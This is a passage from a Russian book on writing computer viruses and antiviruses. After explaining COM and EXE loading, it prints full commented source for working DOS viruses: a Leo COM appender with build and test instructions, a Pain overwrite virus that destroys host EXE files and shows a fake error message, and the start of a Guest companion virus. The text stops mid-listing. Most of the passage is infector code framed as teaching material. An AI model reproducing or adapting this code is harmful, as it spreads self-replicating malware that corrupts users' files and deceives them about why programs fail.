Найти в Дзене
книги

Создаем вирус и антивирус

Аннотация

Virus Warning!

С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».

В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Игорь Гульев

Создаем вирус и антивирус

Введение

Вряд ли стоит напоминать, что компьютеры стали настоящими помощниками человека и без них уже не может обойтись ни коммерческая фирма, ни государственная организация. Однако в связи с этим особенно обострилась проблема защиты информации.

Вирусы, получившие широкое распространение в компьютерной технике, взбудоражили весь мир. Многие пользователи компьютеров обеспокоены слухами о том, что с помощью компьютерных вирусов злоумышленники взламывают сети, грабят банки, крадут интеллектуальную собственность…

Все чаще в средствах массовой информации появляются сообщения о различного рода пиратских проделках компьютерных хулиганов, о появлении все более совершенных саморазмножающихся программ. Совсем недавно заражение вирусом текстовых файлов считалось абсурдом – сейчас этим уже никого не удивишь. Достаточно вспомнить появление «первой ласточки», наделавшей много шума – вируса WinWord.Concept, поражающего документы в формате текстового процессора Microsoft Word for Windows 6.0 и 7.0.

Хочется сразу заметить, что слишком уж бояться вирусов не стоит, особенно если компьютер приобретен совсем недавно, и много информации на жестком диске еще не накопилось. Вирус компьютер не взорвет. Ныне известен только один вирус (Win95.CIH), который способен испортить «железо» компьютера. Другие же могут лишь уничтожить информацию, не более того.

В литературе весьма настойчиво пропагандируется, что избавиться от вирусов можно лишь при помощи сложных (и дорогостоящих) антивирусных программ, и якобы только под их защитой вы можете чувствовать себя в полной безопасности. Это не совсем так – знакомство с особенностями строения и способами внедрения компьютерных вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной программы.

Глава 1

СОМ-вирусы

В этой главе рассказано об алгоритмах работы вирусов, заражающих COM-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы COM-программы.

Компьютерные вирусы могут «гнездиться» в самых неожиданных местах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа COM и EXE, в файлах динамических библиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение вируса, поражающего COM-файлы.

Структура и процесс загрузки COM-программы

Что же представляет собой COM-программа, как она загружается в память и запускается?

Структура COM-программы предельно проста – она содержит только код и данные программы, не имея даже заголовка. Размер COM-программы ограничен размером одного сегмента (64 Кбайт).

И еще два понятия, которые часто будут встречаться:

Program Segment Prefix (PSP) – область памяти размером 256 (0100h) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные.

Disk Transfer Address (DTA) – блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ.

Загрузка COM-программы в память и ее запуск происходят так:

1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000Ь – PSP; сегмент:0100Ь – программа). В поля PSP заносятся соответствующие значения.

4. Устанавливается адрес DTA равным PSP:0080h.

5. Загружается COM-файл с адреса PSP:0100h.

6. Значение регистра AX устанавливается в соответствии с параметрами командной строки.

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP:0000h).

8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h.

9. Происходит запуск программы с адреса PSP:0100h.

COM-программа всегда состоит из одного сегмента и запускается со смещения 0100h.

Простейший COM-вирус

В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

-2

Рис. 1.1

После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

-3

Рис. 1.2

Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname – offset myself

add dx,bp

mov cx,00100111b

int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx ;CX=0

inc cx ;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

;файла – этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок не произошло,

;проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если ее нет – будем заражать

je find_next2

jmp Not_infected

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

;Переходим в конец файла

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Устанавливаем регистр DS на сегмент кода

push cs

pop ds

;Копируем вирус в файл

mov ah,40h

mov cx,offset VirEnd–offset la

mov dx,bp

sub dx,offset myself−offset la

int 21h

;Записываем в начало файла переход на тело вируса

Write_Jmp:

;Переходим в начало файла

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov cx,3

mov dx,offset jmpvir–offset myself

add dx,bp

int 21h

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.

Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

tasm.exe leo.asm

tlink leo.obj/t

В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер – вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:

.286 ;Устанавливаем тип процессора

CheckByte equ 0F0h

;Указываем, что регистры CS и DS содержат

;адрес сегмента кода программы

assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно

;закрыть – ”code ends”

code segment

;Устанавливаем смещения в сегменте кода.

;Данная строчка обязательна

;для COM−программы (все COM−программы

;начинаются с адреса 100h)

org 100h

start:

;Имитируем зараженный COM−файл.

;Тело вируса начинается с метки la

; jmp la

db 0E9h ;Код команды JMP

dw offset la–offset real

real:

;Выходим из программы

mov ah,4Ch

int 21h

;Здесь начинается тело вируса

la:

;Сохраняем регистры и флаги

pushf

pusha

push ds es

;Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

call MySelf

MySelf:

pop bp

;Восстанавливаем первые три байта исходной программы

mov al,[bp+(offset bytes_3[0]–offset MySelf)]

mov byte ptr cs:[100h],al

mov al,[bp+(offset bytes_3[1]–offset MySelf)]

mov byte ptr cs:[101h],al

mov al,[bp+(offset bytes_3[2]–offset MySelf)]

mov byte ptr cs:[102h],al

;Дальнейшая задача вируса – найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

;Ищем первый файл по шаблону имени

mov ah,4Eh

mov dx,offset fname–offset myself

add dx,bp

mov cx,00100111b

int 21h

;Если файл найден – переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

attributes:

;Читаем оригинальные атрибуты файла

mov ax,4300h

mov dx,9Eh ;Адрес имени файла

int 21h

;Сохраняем оригинальные атрибуты файла

push cx

;Устанавливаем новые атрибуты файла

mov ax,4301h

mov dx,9Eh ;Адрес имени файла

mov cx,20h

int 21h

;Переходим к открытию файла

jmp Open

;Ищем следующий файл, так как предыдущий не подходит

Find_Next:

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh ;Адрес имени файла

pop cx

int 21h

;Закрываем файл

mov ah,3Eh

int 21h

;Ищем следующий файл

mov ah,4Fh

int 21h

;Если файл найден – переходим к смене атрибутов, иначе выходим

;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

;Открываем файл

Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло –

;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf–offset myself

add dx,bp

xor cx,cx ;CX=0

inc cx ;(увеличение на 1) CX=1

int 21h

;Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла –

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf–offset myself)],0E9h

jne find_next

;Переходим в начало файла

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h

;Читаем первые три байта файла в тело вируса

See_Him2:

mov ah,3Fh

mov dx,offset bytes_3–offset myself

add dx,bp

mov cx,3

int 21h

;Получаем длину файла, для чего переходим в конец файла

Testik:

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen−offset MySelf)],ax

;Проверяем длину файла

cmp ax,64000

;Если файл не больше 64000 байт,– переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna rich_test

jmp find_next

;Проверим, не заражен ли файл.

;Для этого проверим сигнатуру вируса

Rich_test:

;Переходим в конец файла (на последний байт)

mov ax,4200h

xor cx,cx

mov dx,[bp+(offset flen−offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor cx,cx

inc cx

mov dx,offset bytik–offset myself

add dx,bp

int 21h

;Если при чтении файла ошибок

;не произошло – проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte

;Если сигнатура есть, то ищем другой файл,

;если нет – будем заражать

jne Not_infected

jmp find_next

;Файл не заражен – будем заражать

Not_infected:

mov ax,[bp+(offset flen−offset myself)]

sub ax,03h

mov [bp+(offset jmp_cmd−offset myself)],ax

I_am_copy:

;Переходим в конец файла

mov ax,4202h

xor cx,cx

xor dx,dx

int 21h

;Устанавливаем регистр DS на сегмент кода

push cs

pop ds

;Копируем вирус в файл

mov ah,40h

mov cx,offset VirEnd–offset la

mov dx,bp

sub dx,offset myself−offset la

int 21h

;Записываем в начало файла переход на тело вируса

Write_Jmp:

;Переходим в начало файла

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov cx,3

mov dx,offset jmpvir–offset myself

add dx,bp

int 21h

;Закрываем файл

Close:

mov ah,3Eh

int 21h

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh

pop cx

int 21h

exit:

;Восстанавливаем первоначальные значения регистров и флагов

pop es ds

popa

popf

;Передаем управление программе−носителю

push 100h

retn

;Байт для чтения сигнатуры

bytik db (?)

;Зарезервировано для изменения трех байт вируса

jmpvir db 0E9h

jmp_cmd dw (?)

;Длина файла

flen dw (?)

;Шаблон для поиска файлов

fname db ”*.com”,0

;Область для хранения команды перехода

bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла

;с целью проверки (E9h)

buf db (?)

;Название вируса

virus_name db ”Leo”

;Сигнатура

a db CheckByte

VirEnd:

code ends

end start

Способы внедрения COM-вирусов

Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.

Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место – в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.

-4

Рис. 1.3

При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 0100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.

-5

Рис. 1.4

Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.

-6

Рис. 1.5

После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.

-7

Рис. 1.6

Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгоритмов одного из двух только что описанных вирусов и вируса, описанного в разделе «Простейший COM-вирус».

Глава 2

EXE-вирусы

В этой главе рассказано о вирусах, заражающих EXE-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки. Для каждого типа вирусов представлены исходные тексты с подробными комментариями. Также приведены основные сведения о структуре и принципах работы EXE-программы.

COM-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами EXE-«монстры». Появились и вирусы, умеющие заражать EXE-файлы.

Структура и процесс загрузки EXE-программы

В отличие от COM-программ, EXE-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.

EXE-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки EXE-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент: смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске EXE-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегмент:0000h – PSP; сегмент+0010h:0000h – программа). В поля PSP заносятся соответствующие значения.

4. Адрес DTA устанавливается равным PSP:0080h.

5. В рабочую область загрузчика считывается форматированная часть заголовка EXE-файла.

6. Вычисляется длина загрузочного модуля по формуле: Size=((PageCnt*512)–(HdrSize*16))–PartPag.

7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.

8. Вычисляется сегментный адрес (START_SEG) для загрузки – обычно это PSP+10h.

9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).

10. Для каждого входа таблицы настройки:

a) читаются слова I_OFF и I_SEG;

b) вычисляется RELO_SEG=START_SEG+I_SEG;

c) читается слово по адресу RELO_SEG:I_OFF;

d) к прочитанному слову прибавляется START_SEG;

e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11. Распределяется память для программы в соответствии с MaxMem и MinMem.

12. Инициализируются регистры, выполняется программа:

a) ES=DS=PSP;

b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;

c) SS=START_SEG+ReloSS, SP=ExeSP;

d) CS=START_SEG+ReloCS, IP=ExeIP.

Классификация EXE-вирусов

EXE-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого инфицируемого EXE-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и EXE-файл, но с расширением COM. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением COM. Если COM-файл с таким именем не найден, ведется поиск одноименного EXE-файла. Если не найден и EXE-файл, DOS попробует обнаружить BAT (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в COM-файле. Он создает COM-файл еще к одному или нескольким EXE-файлам (распространяется), а затем исполняет EXE-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная EXE-программа. Вирус-спутник обезвредить довольно просто – достаточно удалить COM-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого EXE-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (COM, EXE и BAT). Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место EXE-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в EXE-файле. Инфицировав еще один или несколько EXE-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EXE, а COM, поскольку EXE-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.

Способы заражения EXE-файлов

Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа – «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (COM или EXE), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Вирусы, замещающие программный код (Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким способом.

{$M 2048, 0, 0}

{$A−}

{$B−}

{$D−}

{$E+}

{$F−}

{$G−}

{$I−}

{$L−}

{$N−}

{$S−}

{$V−}

{$X+}

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!’;

{Длина получаемого при компиляции EXE−файла}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

InfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}

VirIdentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}

VirBody: File;

{Еще одна файловая переменная – хотя без нее можно было

обойтись, так будет понятнее}

Target: File;

{Для имени найденного файла}

TargetFile: PathStr;

{Буфер для тела вируса}

VirBuf : Array [1.VirLen] of Char;

{Для даты/времени файла}

Time : LongInt;

{Счетчик количества инфицированных файлов}

InfFiles : Byte;

DirInfo : SearchRec;

LabelBuf : Array [1.5] of Char;

{Инициализация}

procedure Init;

begin

LabelBuf[1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3];

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

{Обнуляем счетчик количества инфицированных файлов}

InfFiles:=0;

{Связываем файловую переменную VirBody с именем программы,

из которой стартовали}

Assign(VirBody, ParamStr(0));

{Открываем файл с recsize=1 байту}

Reset(VirBody, 1);

{Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody, VirBuf, VirLen);

{Закрываем файл}

Close(VirBody);

end;

{Поиск жертвы}

procedure FindTarget;

Var

Sr: SearchRec;

{Функция возвращает True, если найденная

программа уже заражена, и False, если еще нет}

function VirusPresent: Boolean;

begin

{Пока будем считать, что вируса нет}

VirusPresent:=False;

{Открываем найденный файл}

Assign(Target, TargetFile);

Reset(Target, 1);

{Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

{Считываем 5 байт – если файл уже заражен,

там находится метка вируса}

BlockRead(Target, VirIdentifier, 5);

If VirIdentifier=VirLabel Then

{Если метка есть, значит есть и вирус}

VirusPresent:=True;

end;

{Процедура заражения}

procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса

плюс 100 байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо,

так как поиск ведется среди файлов с атрибутом Archive, а этот

атрибут устанавливается на файл после сохранения в любом случае}

Time:=Sr.Time;

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции

на длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

Close(Target);

{Увеличиваем счетчик инфицированных файлов}

Inc(InfFiles);

end;

end;

{Начало процедуры FindTarget}

begin

{Ищем в текущем каталоге файлы по маске *.EXE

с атрибутами Archive}

FindFirst(’*.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=’’ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

{Инициализируемся}

Init;

{Ищем жертвы и заражаем их}

FindTarget;

{Выдаем на экран сообщение об ошибке}

WriteLn(’Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName

и Author, условие же поставлено таким образом,

что эти строки никогда не будут выведены на экран}

If 2=3 Then

begin

WriteLn(VirName);

WriteLn(Author);

end;

end.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания COM-файла спутника

Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

2. Найти EXE-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.

4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.

5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.

6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим методом.

{$M 2048, 0, 0}

{$A−}

{$B−}

{$D−}

{$E+}

{$F−}

{$G−}

{$I−}

{$L−}

{$N−}

{$S−}

{$V−}

{$X+}

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

{Имя вируса}

VirName=’Guest’;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов}

InfCount=2;

Var

{Для имени найденного файла}

TargetFile : PathStr;

{Для создания копии}

TargetCOM : PathStr;

{Счетчик количества заражений}

InfFiles : Byte;

DirInfo : SearchRec;

{Для сохранения параметров командной строки}

Parms : String;

{Для цикла For}

I: Byte;

{Поиск жертв}

procedure FindTarget;

Var

Sr : SearchRec;

{Функция возвращает True, если найденная программа уже заражена,

и False, если еще нет}

function VirusPresent: Boolean;

Var

Target : File;

begin

{Пока будем считать, что вируса здесь нет}

VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы,

но с расширением COM}

Assign(Target, TargetCOM);

Reset(Target, 1);

{Если не было ошибок при открытии,

программа уже инфицирована этим вирусом}

If IOResult=0 Then

begin

VirusPresent:=True;

{Открыли – закроем}

Close(Target);

end;

end;

{Собственно процедура заражения}

procedure InfectFile;

begin

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{С помощью командного процессора

копируем вирусный код в COM−файл}

SwapVectors;

Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’

’+TargetCOM+’ >NUL’);

SwapVectors;

{Увеличиваем на единицу счетчик инфицированных файлов}

Inc(InfFiles);

end;

end;

begin {начало процедуры FindTarget}

{Ищем в текущем каталоге файлы по маске *.EXE

с атрибутами Archive}

FindFirst(’*.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=’’ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

Parms:=’ ’;

{Запоминаем параметры командной строки}

If ParamCount <> 0 Then

For I:=1 To ParamCount Do

